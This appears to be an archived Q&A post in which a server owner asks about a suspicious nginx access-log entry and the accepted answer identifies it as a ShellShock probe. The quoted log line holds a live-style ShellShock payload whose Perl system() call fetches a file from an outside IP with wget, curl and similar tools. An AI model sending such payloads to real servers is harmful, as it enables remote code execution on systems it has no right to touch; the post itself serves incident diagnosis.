问题原文
原帖链接 · Srik · CC BY-SA 3.0
There were quite a few entries as below in the nginx access log. How do I know the outcome of these scripts and if my server is compromised or no?
162.232.183.48 - - [14/Jan/2016:10:54:57 +0000] "GET /cgi-bin/php4 HTTP/1.1" 200 1494 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22 wget http://2
04.232.209.188/images/freshcafe/slice_30_192.png ; curl -O http://204.232.209.188/images/freshcafe/slice_30_192.png ; fetch http://204.232.209.188/images/freshcafe/slice_30_192.png ; lwp-download http://204.232
.209.188/images/freshcafe/slice_30_192.png ; GET http://204.232.209.188/images/freshcafe/slice_30_192.png ; lynx http://204.232.209.188/images/freshcafe/slice_30_192.png \x22);'" "-"
已采纳解答
原帖链接 · Mark Stosberg · CC BY-SA 3.0
Notice the magic string () { :; };. They are trying to poke around and see if your server is vulnerable to the ShellShock exploit. Perl is used here to print and see if the attack succeeded.
Test if your server is vulnerable to ShellShock. If it's not, you are clear.
See also: Is my server vulnerable to a perl exploit?
摘自公开归档,保留原文语言,版式经整理,外部媒体与邮箱地址已移除。
